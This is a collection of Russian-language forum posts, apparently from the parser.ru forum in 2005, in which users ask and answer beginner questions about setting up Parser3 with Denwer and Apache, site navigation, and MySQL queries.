"40440","Ребят я понимаю что на эту тему очень много писали я прочитал все но чето не помогает или я такой тупой ниче не понимаю! Все пишут по разному я совсем запутался!\
  Короче я установил Денвер включающий в себя все в том числе и Парсер но дальше не знаю че делать создавал auto.p и sections.cfg ниче не работает... запускал файл _test проверяющий работоспособность Парсера но он показывает типа Парсер не установлен. Че делать???? Заранее благодарен!"
"40441","Понятно, что бета, но все же - есть хоть какие-то отличия?"
"40442","тогда наверное ^math:uuid[] не в тему, и надо делать counter ($i), и делать что-нить типа:\
[code]\
^pictures.add[^subfolder.hash{^eval($i+^subfolder.offset[])}]\
^i.inc(^subfolder.offset[])\
[/code]\
\
ну а затем:\
[code]\
$random(^math::random(^pictures._count[]))\
случайнай запись: $pictures.$random\
[/code]\
\
P.S. а для чего вообще вам хеш тут? хранить это в таблице и делать ^pictures.join[$subfolder] не судьба?"
"40444","цель \
по событию window.ounload записать в Базу данных время этого события \
способа лучше чем открыть html файл с параметрами, записать данные, а затем вернуть изображение я пока не придумал \
НО изображение не успевает загрузиться и поэтому данные не записываются. \
\
Как быть?"
"40445","на последовательное чтение документации от печки, т.е. от правил форума, а потом от денвера. В Вашем сообщении одни вопли (полезной информации 0%) и если этот тред пропадет - сами будете виноваты."
"40446","http://cvsview.parser.ru/cgi/viewcvs.cgi/*checkout*/parser3/ChangeLog?rev=HEAD&content-type=text/plain"
"40448","Спасибо, как всё просто на самом деле :)\
Осталось только поправить под любой уровень вложенности папок.\
\
По поводу \"не судьба\". Из-за малого опыта в программировании я порой начисто забываю о некоторых операторах.\
И читая доку делаю первым более-менее подходящим способом. Так что мне иногда требуется дать пинка, чтобы я делал как удобно и правильнее а не через..."
"40449","А когда (примерно) готовится новый релиз?\
Просто хотелось бы успеть все вкусности доделать и переслать :)"
"40450","вот \"валидный\", как я понимаю:\
[code]\
Return-Path: <forum@parser.ru>\
Delivered-To: larrikin@newmail.ru\
X-String-ID: 206\
Received: (qmail 15400 invoked from network); 18 May 2005 12:50:43 -0000\
Received: from rol3.design.ru (195.218.200.196)\
  by grif.newmail.ru with SMTP; 18 May 2005 12:50:43 -0000\
Received: from rol3.design.ru (localhost [127.0.0.1])\
        by rol3.design.ru (8.12.11/8.12.11) with ESMTP id j4IClGbZ012337\
        for <Larrikin@newmail.ru>; Wed, 18 May 2005 16:50:21 +0400 (MSD)\
        (envelope-from forum@parser.ru)\
Received: (from parser@localhost)\
        by rol3.design.ru (8.12.11/8.12.11/Submit) id j4ICOsOw001264;\
        Wed, 18 May 2005 16:24:54 +0400 (MSD)\
        (envelope-from forum@parser.ru)\
Date: Wed, 18 May 2005 16:24:54 +0400 (MSD)\
X-Authentication-Warning: rol3.design.ru: parser set sender to forum@parser.ru using -f\
reply-to: \"Misha v.3\" <misha@design.ru>\
references: <40431%1@parser.ru>\
subject:\
=?WINDOWS-1251?Q?=EF=EE=F2=EE=EC=F3_=F7=F2=EE_=EA=EB=FE=F7=E8_-_=5E=73=75=62=66=6F=6C=64=65=72=2E=6F=66=66=73=65=74=5B=5D?=\
content-type: text/plain; charset=WINDOWS-1251\
in-reply-to: <40431%1@parser.ru>\
message-id: <40432%1@parser.ru>\
from: \"Misha v.3\" <forum@parser.ru>\
to: Larrikin@newmail.ru\
errors-to: postmaster@rol3.design.ru\
MIME-Version: 1.0\
\
[text]\
[/code]\
а вот - \"невалидный\"\
[code]\
Return-Path: <forum@parser.ru>\
Delivered-To: larrikin@newmail.ru\
X-String-ID: 39\
Received: (qmail 2609 invoked from network); 18 May 2005 13:20:56 -0000\
Received: from rol3.design.ru (195.218.200.196)\
  by grif.newmail.ru with SMTP; 18 May 2005 13:20:56 -0000\
Received: from rol3.design.ru (localhost [127.0.0.1])\
        by rol3.design.ru (8.12.11/8.12.11) with ESMTP id j4IDHGem027633\
        for <Larrikin@newmail.ru>; Wed, 18 May 2005 17:20:36 +0400 (MSD)\
        (envelope-from forum@parser.ru)\
Received: (from parser@localhost)\
        by rol3.design.ru (8.12.11/8.12.11/Submit) id j4ICpWnI014676;\
        Wed, 18 May 2005 16:51:32 +0400 (MSD)\
        (envelope-from forum@parser.ru)\
Date: Wed, 18 May 2005 16:51:32 +0400 (MSD)\
X-Authentication-Warning: rol3.design.ru: parser set sender to forum@parser.ru using -f\
references: <40432%1@parser.ru>\
subject: Re:\
=?WINDOWS-1251?Q?=EF=EE=F2=EE=EC=F3_=F7=F2=EE_=EA=EB=FE=F7=E8_-_=5E=73=75=62=66=6F=6C=64=65=72=2E=6F=66=66=73=65=74=5B=5D?=\
content-type: text/plain; charset=WINDOWS-1251\
in-reply-to: <40432%1@parser.ru>\
message-id: <40433%1@parser.ru>\
from: \"[Misha v.3]\" <forum@parser.ru>\
to: Larrikin@newmail.ru\
errors-to: postmaster@rol3.design.ru\
MIME-Version: 1.0\
\
[text]\
[/code]\
\
где смотреть? не вижу что-то..."
"40452","По onload открыть маленькое окошко без меню и всего-всего, записать из него в базу и закрыть его."
"40453","Можно IFrame на странице.\
Скрыть его css'ом.\
Грузить в нём страничку при онлоад."
"40454","народ как сделать такое же портфолио как на сайте [url=\"http://www.artlebedev.ru\"]Арт. Лебедев[/url]\
подскажите, или может какой умелец даже напишет код ;)\
Буду очень признателен!\
p.s. Тот кто хочет изучить парсер"
"40455","товарищи у меня огромная проблема...\
немогу прикрутить скрипт [url=\"http://www.spearance.ru/parser3/scroller/scroller.zip\"]текстовый скроллер[/url]. сколько не пытался неполучается ;(\
Люди помогите, напишите как, куда, и что прописывать, надо ли создавать оттельную таблицу в базе данных\
Буду очень признателен за любую помощь.\
з.ы. [color=\"#ff0000\"]очень хочется изучить парсер.[/color]"
"40456","Почитайте FAQ (как задавать вопросы в форум)\
\
Что вы уже сделали? Покажите код."
"40459","есть мелочи, однако пока их замечаем только мы = торопиться не станем.\
\
кому критично, всегда можеть взять из CVS."
"40460","потом продолжайте разбираться,\
потом напишете и это и много другого."
"40461","Вы об этом? \
http://batteryeater.com/temp/screen.gif\
\
Продолжение обещает быть не хуже. Дело в том, что мы его действительно замораживали из-за крайнего недостатка времени. Сейчас все делается, но об этом никому не говорится и сайт прикрыт по той же причине. Незнаю почему, но не впечатляет мегасырые альфы выкладывать, хочется достичь более-менее пристойного результата.\
\
Разумеется, как только будет что-то в чем будет уже работать не менее удобно чем в блокнотике ;) мы это выложим и все смогут посмотреть и внести предложения. Я не привык бросать начатое и этот проект также будет доведен до ума и закончен насколько это возможно.\
\
Со времени последней альфы сдено не так много (потому как был проект заморожен). Сделана проверка сайта на ошибки, code snippets, подсветка синтаксиса parser/html и еще что-то по мелочи. \
\
Если хотите - вносите предложения, внесу в список todo :) Но показывать пока ничего не буду. Вопрос принципиальный.\
\
Очень удивлен что еще помните и ждете! спасибо, поддержка нужна в любом деле."
"40462","Я скачал apache_1.3.33rusPL30.21 распаковал его и дальше не знаю че делать как его настроить. Написано что нужно запустить какой то configure а как????? И как потом настроить для работы на локальном компьютере парсер????"
"40463","скачайте лучше швейцарский ножк и не имейте лишних проблем.\
Ссылку найдете поиском по форуму."
"40465","Как я понял, установка производится под Windows([url]http://www.manlix.ru/dist/apache/apache-1.3.33.exe[/url], при установе указывай хост как: localhost)\
\
1 .Создай для начала на диске папку, скажем C:\\SERVER\
\
2 .Запусти установку, и укажи путь C:\\SERVER\\\
(В эту папку порйдет установка сервера C:\\SERVER\\Apache2)\
\
3 .Затем заходи в папку C:\\SERVER\\Apache2\\conf\\ и открывай для записи файл httpd.conf\
\
4 .Используя поиск по тексту найди строчку AllowOverride None, и исправь на AllowOverride All . Это нужно для выноса конфига в файл .htaccess (О нем позже)\
\
5 .Далее скачивай файл [url]http://www.parser.ru/f/1/download/win32/parser3_1_4_ru.exe[/url] и распаковывай его в папку C:\\SERVER\\Apache2\\cgi-bin\\\
\
6 .Заходи в папку C:\\SERVER\\Apache2\\htdocs\\ и создавай файл .htaccess\
\
7 .Открой его редактором и добавь следущее:\
\
#--------------------------------------------\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
#--------------------------------------------\
\
8. Теперь перезагружаем компьютер\
9. После перезагружки в Tray(справа внизу) должен появиться значек \"красного пера и треугольник в кружке(play)\"\
10. Точно не помню, но по моему в архиве парсера должен быть тестовый файл _test.html Так вот, копируем его в C:\\SERVER\\Apache2\\htdocs\\\
11. Открываем браузер и вводим [url]http://localhost/_test.html[/url]\
12. Теперь при вызове [url]http://localhost[/url] будет эмулироваться директория C:\\SERVER\\Apache2\\htdocs\
\
\
Сам устанавливал это все давно, и всех моментов мог не учесть. Будут вопросы, спрашивай, с рабостью помогу.\
\
\
Семин Кирилл Вячеславович, dmx102\
______________________________________________________\
mailbox@dasshoes.ru | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#232629289"
"40466","значит установил я Денвер на диск c:/webservers далее скопировал содержимое parser3 в папку cgi-bin далее файл _test.html поместил в папку www сначала выдавал строчку: типа parser не установлен потом я в файл htaccess добавил \
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
теперь  _test.html выдает:/_test.html: \\home\\LOCALH~1\\cgi-bin/auto.p(155:8): 'page Section1' invalid special name. valid names are 'CLASS', 'USE' and 'BASE' [parser.compile]\
\
ПОДСКАЖИТЕ что я сделал правильно а что не правильно!!!!"
"40470","Когда только начинал программировать на PHP этот сайт был незаменим.\
Сам сайт: [url=\"http://www.manlix.ru\"]http://www.manlix.ru[/url]\
А вот подробное описание усановки сервера Apache и его последующей конфигурации: [url=\"http://www.manlix.ru/zipped/manlix.ru-article0.zip\"]http://www.manlix.ru/zipped/manlix.ru-article0.zip[/url].\
К этому времени создатели уже заархивировали статью.\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"http://mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#207308745"
"40471","Да в FAQ не написано ниче про Денвер. Я уже сто раз все прочитал наверно для меня это сложно может объясните попроще че где прописать чтобы наконец то этот _test заработал!!!"
"40474","iframe не успеет загрузиться, а попап по анлоаду блокируется эксплорером 6.0, т.к. это стандартный метод порносайтов.\
\
Оба метода не катят.\
Есть еще варианты."
"40476","если вы будете нетерпеливо шуметь, то вряд ли чего добьётесь.\
\
а FAQ прочитайте, целиком, для экономии в первую очередь своего времени."
"40477","Есть такой код. \
[code]\
^if(def $form:name && def $form:login && def $form:password){\
^connect[$connect_string]{\
^void:sql{insert into users (name, login, password, about) values ('$form:name', '$form:login', '^math:crypt[$form:password;^$apr1^$]', '$form:about')}\
^void:sql{insert into prepod (pid, login, password) values ('^string:sql{SELECT uid FROM users WHERE name='$form:name'}[$.default{}]', '$form:login', '^math:crypt[$form:password;^$apr1^$]')}				\
				}\
				}\
[/code]\
\
Первая запись вставляется нормально. \
А вот вторая уже выдаёт ошибку: insert into prepod (pid, login, password) values ('50', 'ва', '$apr1$yd2sY3kt$oQX4KRR.6f9gNCGF1.orV/')\
Duplicate entry '' for key 2\
\
Я конечно понимаю чё он пишет. Но там просто нечему дублироваться-то!\
В таблице Users:\
uid - auto_increment\
login - UNIQUE\
name - UNIQUE\
\
В таблице Prepod:\
login - UNIQUE\
name - UNIQUE"
"40478","Хорошо, поставим задачу иначе:\
\
Как ГРАМОТНО посчитать время пребывания пользователя на странице, сайте?"
"40479","но есть такой вариант: у вас в таблице Prepod есть некое UNIQUE-поле о котором вы забыли, первым INSERT в это поле ничего не вставляется, вторым - тоже ничего, но два ничего - это уже Duplicate entry ;)"
"40480","Спасибо но прежде чем скачать и установить эти все программы не помог ли ты мне в настройке с Денвером а то он у меня есть а настроить не могу хотя он содержит все эти программы!"
"40481","Дима, извини, я сам давно мучался с установкой Apache, но в итоге разобрался. И по возможности работаю только с ним.\
Честно говоря Денвер я в глаза не видел. Здесь помочь не смогу.\
Захочешь установить Apache, пиши и я тебе помогу.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40482","Я создал небольшой метод для вставки фотографий на странице и хочу, чтобы фотографий было шесть (при помощи одного и того же метода). В моем методе надо только пару букв изменить и они работали бы, но я не знаю, как их можно без переопределения повторить...\
Спасибо за помощь."
"40483","Слушай короче я все таки установил этот пресловутый парсер с денвером _test работает но много красных фраз типа проверка невозможно но парсер работает я проверял(считает 2*2=4). Не подскажешь как пройти первый урок(^navigation[]) че то ниче не получется... может ты знаешь???"
"40485","При снятии уникальности всё становится нормально. \
В принципе, пока не критично, но в дальнейшем всё равно придётся чё-то делать.."
"40487","Задача найти все события разных годов за сегодняшний день.\
Сегодня: 2005-05-20\
\
[b]MySQL запрос:[/b]\
[code]\
	SELECT event_id, date, title, details\
	FROM events\
	WHERE date LIKE '%-05-20'\
	ORDER BY RAND()\
[/code]\
\
[i]Добавляю[/i] $now[^date::now[]][i]...[/i]\
\
[b]Запрос через Parser:[/b]\
[code]\
^MAIN:pSQL.sql[table]{\
	SELECT event_id, date, title, details\
	FROM events\
	WHERE date LIKE '%-${now.month}-${now.day}'\
	ORDER BY RAND()\
}\
[/code]\
[color=\"#ff0000\"]Запрос не проходит, т.к. ${now.month}-${now.day} представляют 5-20[/color]\
\
Вывод: делать замену\
[code]\
$str[$now]\
$date[\
 $.day[\
	$.01[1]\
	...\
 ]\
 $.month[\
	$.01[1]\
	...\
 ]\
]\
[/code]\
\
Вопрос в чём. Можно ли сделать это проще и, допустим, использовать [url=\"http://www.parser.ru/examples/comp/\"]класс переносимости SQL запросов[/url]?"
"40489","Вариантов масса:\
1. Если использовать класс mysql.p то там есть методы @now[] и @curdate[] - что они делаю читать в доке по MySql.\
2. Использовать ^дата.sql-string[]\
3. Использовать форматную строку ^тект.format[] для получения чиселок в нужном виде.\
\
есть ещё варианты..."
"40495","А без него... если по кукам следите за загрузкой сурфером страниц - уже имеете интервал от первой до последней загрузки. Не поддерживает куки - по айпишнику+юзерагенту можно например... На случай прокси проверяйте, может он прозрачный и чего-то еще увидите про юзера)... \
\
Затем рассчитываете среднее время пребывания сурфера на странице... Прибавляете к полученному интервалу... получаете чего-то близкое к теме :)"
"40496","Сделал по третьему варианту.\
[code]\
	WHERE date LIKE '%-^now.month.format[%2.2d]-^now.day.format[%2.2d]'\
[/code]"
"40497","Давай с самого начала. Я буду описывать действия, а ты в ответе на сообщение будешь писать, получилось или нет, и если нет то какую ошибку выдает.\
\
Вот ряд действий:\
\
1. Сождаем в корне веб-простаранства файл с названием sections.cfg\
\
2. Открываем для редактирования и пишим:\
\
section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
\
Для начала хватит. Создаем папку в корне веб-пространства с именем news. В ней создаем файл index.html, и так же в корне /.\
\
3. Создаем в корне файл auto.p и пишем в нем:\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
4. Теперь в тех index.html файлах делаем добавление:\
\
^navigation[]\
\
5. Дальше запускаем [url=\"http://localhost/\"]http://localhost/[/url] и [url=\"http://localhost/news/\"]http://localhost/news/[/url]\
\
6. Если выводит список с меню, то все ОК, если нет, пиши.\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40498","чтобы автор что-то исправил, надо ему сообщить.\
я этого не смог сделать, поскольку не смог сузить ошибку до простого воспроизводимого теста.\
\
(если бы смог сузить, я бы просто сам и нашёл и исправил, а автору послал бы patch, как они это любят)\
\
чтобы это обнаружил ещё кто-то, надо чтобы этой возможностью пользовался ещё кто-то.\
\
т.к. это был я, кто уговорил автора libxml внедрить раздельное выделение памяти под блоки с/без указателей, то, уверен, кроме Parser эта возможность библиотеки никем не используется = сообщить кроме нас просто некому.\
\
вывод: кого беспокоит некоторое уменьшение скорости, уберите это:\
[code]\
#define PA_WORKAROUND_BUGGY_FREE_IN_LIBXML_GC_MEMORY\
#define PA_WORKAROUND_BUGGY_MALLOCATOMIC_IN_LIBXML_GC_MEMORY\
[/code]\
из main/pa_globals.C и ждите проблем. когда будут проблемы, изучите их и сообщите подробно автору libxml."
"40499","нужно написать оператор определяющий тип данных. Вот, что вышло:\
[code]\
@typeof[data][break]\
$types[^table::create{type\
string\
int\
double\
file\
hash\
table\
image\
xdoc\
junction}]\
\
^menu2[$types;$break]{\
	^if($data is \"$types.type\"){\
		$result[$types.type]\
		$break(1)\
	}\
}\
# дополнительная проверка строки \
^if($result eq \"string\" && ^data.int(0)){\
	$result[int]\
}\
\
^if(!def $result){$result[undefined]}\
\
# end @typeof[]\
#------------------------------------------------------------------\
[/code]\
\
не могу понять, как красиво определить тип double... может кто сталкивался...\
\
PS \
метод menu2 выводит таблицу с возможностью break (буду, кстати, рад комментариям):\
\
[code]\
@menu2[table;break;code]\
^if($table){\
	$caller.$break(0)\
	^while(!$caller.$break){\
		$code\
		^if(^table.line[] == ^table.count[]){$caller.$break(1)}\
		^table.offset[cur](1)\
	}\
}{\
	$result[]\
}\
\
# end @menu2[]\
#------------------------------------------------------------------\
[/code]"
"40500","Duplicate entry '' for key 2 - по какому столбцу составляется индекс с именем \"key 2\", почему в этот столбец пишется пустое значение - остаётся загадкой (по причине крайней засекреченности структуры таблиц :)\
\
в MySQL 4.1 [url=\"http://bugs.mysql.com/bug.php?id=2027\"]был какой-то баг с дубликатами[/url], исправлен в 4.1.8, но, судя по приведённым там примерам, скорее всего это не ваш случай."
"40501","Почему-то в текст не перенеслось, пункт второй: вместо пробелов нужна табуляция (<Tab>)\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40502","Наверняка кто-то из вас сталкивался с такой задачей:\
Есть таблица, скажем:\
[code]\
$product_list[^table::create{id   name\
1   хлеб\
2   колбаса\
3   масло \
4   водка\
}]\
[/code]\
\
Как удалить строчку, где [b]name[/b] равно скажем [b]масло[/b]?\
Или изменить ту же сторчку, на [b]грибы[/b]?\
\
В стандартных функциях есть добавление в таблицу, а втот удаления нет.\
\
Если у вас есть какие-нибудь [b]ИНТЕРЕСНЫЕ АЛОГРИТМЫ[/b], пожалуйста поделитесь.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40503","1. $product_list[^product_list.select($product_list.name ne \"масло\")]\
2. создать другую таблицу и построчно переписать все в неё. при перезаписи проверять и если ваше условие совпало - записать что-либо другое. \
\
однако второе мне не требовалось _ни разу_ за все время моего общения с парсером. предположу что вы знаете не все его возможности и патаетесь в лоб перенести на него алгоритмы используемые вами в других местах, что скорее всего не верно. алгоритмы не всегда стоит переносить в лоб. опишите вашу задачу, вам подскажут как её можно решать средствами парсера. \
\
P.S. вы описали не задачу."
"40504","В документации к MySQL есть такой пример:\
\
[quot]\
DELETE t1,t2 FROM t1,t2,t3 WHERE t1.id=t2.id AND t2.id=t3.id\
[/quot]\
\
Я пишу:\
\
[code]\
^csql.void{\
	DELETE FROM\
		engine_sections,\
		engine_pages\
	WHERE\
		engine_sections.section_id = engine_pages.section_id AND\
		engine_sections.section_id = $params.id\
}\
[/code]\
\
И в итоге получаю ошибку sql.execute\
\
Еще в той же документации написано, что многотабличный DELETE поддерживается в MySQL начиная с версии 4.0.0. У меня версия 4.1.8. \
\
Как такое может быть?.."
"40505","Господа. В связи с прекращением поддержки Parser 2, может быть вы выложите его исходники? Уже на втором хостинге столкнулись с тем, то он не может коннектиться к MySQL, если тот версии 4.1 и выше. Хотим попробовать перекомпилить его под новыми версиями ОС и БД.\
\
Если не можете дать исходники, выложите, пожалуйста, новые скомпилленые версии для свежих FreeBSD и Linux на http://parser2.parser.ru/download/\
\
Для нас это весьма критично, ибо бесплатно переписывать несколько десятков сайтов мы просто физически не можем.\
\
Господа! Очень рассчитываю на вашу поддержку!"
"40507","ну... вы-же используете не такой синтаксис, как описан у них :)\
если вы пишите FROM engine_sections, engine_pages то напишите и USING.\
\
P.S. пользовался этой фичей начиная с 4.0.7. работает."
"40508","Проглядел, виноват :)\
\
Только вот не понятно осталось, в чем разница этих двух записей:\
\
[quot]\
DELETE t1,t2 FROM t1,t2,t3 WHERE t1.id=t2.id AND t2.id=t3.id\
[/quot]\
\
и\
\
[quot]\
DELETE FROM t1,t2 USING t1,t2,t3 WHERE t1.id=t2.id AND t2.id=t3.id\
[/quot]\
\
Ведь суть остается одна и та же. Или я ошибаюсь?.."
"40512","Просто читав документацию, я недооценил метод [b]select[/b].\
\
Спасибо. А в проекте я хочу уйти от использования MySql, т.к. массив записей в каталоге не привышает 300 позиций. И сделать файлово-табличную структуру, для более неприхотливого использования.\
\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40514","Сделал вес как ты сказал теперь выдает ошибку\
Unhandled Exception (parser.compile)\
z:/home/localhost/www/auto.p(48:32): parse error, expecting `$'\
\
И еще вопрос  \"в корне\" это значит в папке www?"
"40515","Пардон я открывал http://localhost/news/index.html и http://localhost/index.html а когда открываешь просто как ты сказал http://localhost/news/ и http://localhost/ то вылезает директория со списком файлов в ней типа\
Parent Directory        19-May-2005 22:22      -  \
index.html              19-May-2005 22:55     1k \
Я ваще запутался в чем тут дело???"
"40516","если вы не прочитаете FAQ и не начнете самостоятельно думать вы все равно не сможете ничего делать дальше.\
\
вам парсер вывел сообщение об ошибке. в FAQ-ы вы можете прочитать что оно означает. кроме того ни у кого кроме вас нет ваших файлов и никто не может подсказать вам что у вас находится в 48 строке."
"40517","Спасибо за подзатыльник но все же хотелось чтобы кто нибудь подсказал поправил а FAQ я тоже читал. И еще 48 ошибка она в каком файле????"
"40518","посмотрите на то сообщение об ошибке, которое вы запостили [url=\"/forum/?id=40514\"]тут[/url]\
\
вы много видите в ней указаний на файлы?"
"40519","Зачем один и тот же код повторяется и в FROM и в WHERE:\
\
[code]\
SELECT\
	...\
FROM\
	forum_message\
	^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
WHERE\
	^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
[/code]\
\
Если в метод left_join с параметром where возвращает следующий код:\
\
[code]\
$result[1 = 1 ^if(!def $last){ AND}]\
[/code]\
\
Зачем нужна [b]1 = 1[/b]?.."
"40520","Что касается ошибки, эначит так:\
z:/home/localhost/www/auto.p(48:32): parse error, expecting `$'\
То что в скобках - это 48 - номер строки, 32 - номер символа этой строки, с которой начинается ошибка. А все координаты даны для файла, под названем auto.p (Это все видно из лога).\
Выложи код файла auto.p и пометь как-нить эту строку(48ю).\
\
Далее посмотрим.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40521","Так я потому и спросил дело в том что у меня в файле auto.p от силы строк 15!!!!! Короче он состоит из строк взятых и примера! Так в чем же дело..."
"40522","ВОТ ОН! Только в нем от силы строк 15!!!!!!\
\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
<tr>\
^sections.menu{\
<td align=\"middle\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
}\
</tr>\
</table>"
"40523","Даже не знаю, чем помочь. Предлагаю вернуться к немаловажному этапу: запуска [b]_test.html[/b] и корректировки, в [b]/cgi-bin/auto.p[/b]\
\
Все ли там работает????\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40524","[url=\"http://www.parser.ru/f/1/docs/parser3_1_4.ru.chm\"]Библия[/url] - надеюсь уже скачал, без нее даже не берись программировать в начале.\
\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40525","короче убрал auto.p потом вставил (просто ниче не менял)щас уже говорит что строчка 49!!! И еще когда _test запускал то там было много красных фраз типа проверка невозможна! Но парсер то работает сам проверял умножал 2*2=4! Блин в чем же тут дело?????"
"40526","Посмотри в нем эту строчку. Может метод неправильно вызываешь.\
Может вызываешь как $navigation[], а надо ^navigation[]\
\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40527","Вставляю именно ^navigation[]\
я правильно понимаю что в директории /cgi-bin у нас есть файл auto.p который мы не трогаем а в корневой дирекории тобишь /www мы создаем еще один auto.p и вставляем вышеупомянутый текст??"
"40528","Советую почитать раздел в скаченной документации:\
Установка и настройка Parser -> Конфигурационный файл и все с ним связанное.\
Там может что-то нового найдешь. Эту проблему надо видеть.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"40530","Самое удивительное что даже если все удаляешь из файла auto.p он все равно показывает эту злосчастную 49 строчку... я в ауте...."
"40532","Подскажите кто знает\
вот в php есть функции fopen, fputs, fgets .....\
есть ли подобные функции в javascript, и если есть - какой у них синтаксис.\
Заранее благодарен."
"40533","Я вот думаю может плюнуть на этот Денвер скачать отдельно apache и parser и установить....\
как думаешь???"
"40535","Задача:\
Обновить одну таблицу на основании значений в другой.\
Выяснил, что вариант типа\
[code]\
UPDATE table1, table2\
SET table1.column1=table2.column1+table2.column2\
WHERE table1.id=table2.id\
[/code]\
не поддерживается.\
\
Может кто подскажет как это можно сделать. И можно ли вообще.\
Очень не хочется делать много простых запросов в цикле :("
"40536","К сожалению, пытался найти ответы через Поиск, но безуспешно :(\
\
Неоднократно ставил Парсер на FreeBSD. Но тут понадобилось поставить его на хостинг rbc.ru. Платформа win32, БД - MS-SQL. И для меня это оказалось полным ступором!\
\
Вот до [url=http://www.parser.ru/docs/lang/?install4iis.htm]этого[/url] какие надо сделать волшебные пасы? Пролейте свет мне, невеже! \
\
И вот MS-SQL. Как я понимаю, чтобы управлять БД на сервере мне нужно на своём компе установить MS-SQL-клиет. Я прав?"
"40537","...у Вас в комплекте mysql  manual.txt (и/или manual.html)?\
Подумаешь - бином Ньютона - открыть файл и немного почитать про string functions или arifmetic operators ;-)) в проекции на формат ваших columns :)"
"40538","Как обновить значения одной ячейки таблицы на основе значений других ячеек этой же таблицы я знаю.\
Вся проблема в том, что значения на основании которых нужно сделать обновление находятся в другой таблице. Вот я и хотел узнать есть ли возможность сделать это средствами SQL"
"40539","Это можно сделать, поэтому и предложили посмотреть документацию на mySQL сервер\
\
[quot]Начиная с версии MySQL 4.0.4 вы также можете выполнять UPDATE, охватывающий множество таблиц: \
\
UPDATE items,month SET items.price=month.price\
WHERE items.id=month.id;[/quot]"
"40540","Нестыковка была в том, что у меня версия 4.01 и в моем мануале этого, естественно, нет.\
P.S. В моем первом посте это написано"
"40541","Есть три строки:\
 - \"38067\"\
 - \"$form:number\"\
 - \"@sms.kyivstar.net\"\
\
Нужно получить одну строку вида:\
 38067XXXXXXX@sms.kyivstar.net"
"40542","${str1}${str2}${str3} пойдёт?"
"40543","Твой предложенный вариант применим для сложения двух последних строк:\
 ${form:number}@sms.umc.com.ua\
\
А вот как теперь добавить в начало строки \"38050\"?"
